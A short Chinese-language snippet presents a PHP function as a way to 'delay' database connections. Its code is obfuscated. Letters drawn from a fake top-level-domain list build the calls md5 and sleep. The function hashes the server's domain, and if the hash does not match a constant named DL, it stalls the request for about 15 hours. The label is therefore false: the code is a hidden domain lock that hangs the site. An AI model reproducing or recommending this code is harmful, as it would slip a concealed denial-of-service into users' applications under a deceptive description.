延迟链接数据库方法

在数据库链接的方法调用下面函数，可延迟链接数据库

public function asi(){        $host = strtolower ($_SERVER ['SERVER_NAME']);        if (strpos ( $host, '/' ) !== false) {            $parse = @parse_url ( $host );            $host = $parse ['host'];        }        $topleveldomaindb = array ('com', 'edu', 'gov', 'int', 'mil', 'net', 'org', 'biz', 'info', 'pro', 'name', 'museum', 'coop', 'aero', 'xxx', 'idv', 'mobi', 'cc', 'me', 'p', 'e', 's', 'l', 'm', 'd', 5);        $str = '';        $str2 = '';        $z = array_pop($topleveldomaindb);        $y = array_pop($topleveldomaindb);        $x = array_pop($topleveldomaindb);        $w = array_pop($topleveldomaindb);        $v = array_pop($topleveldomaindb);        $u = array_pop($topleveldomaindb);        $t = array_pop($topleveldomaindb);        $f = $x.$y.$z;        $d = strtoupper($y.$w);        $e = $v.$w.$u.$u.$t;        foreach ( $topleveldomaindb as $v ) {            $str .= ($str ? '|' : '') . $v;            $str2 .= $v;        }        $matchstr = "[^\.]+\.(?:(" . $str . ")|\w{2}|((" . $str . ")\.\w{2}))$";        if (preg_match ( "/" . $matchstr . "/ies", $host, $matchs )) {            $domain = $matchs ['0'].$str2;        } else {            $domain = $host.$str2;        }        if($f($domain) != constant($d)){            $e($z.$z.$z.$z.$z);        }    }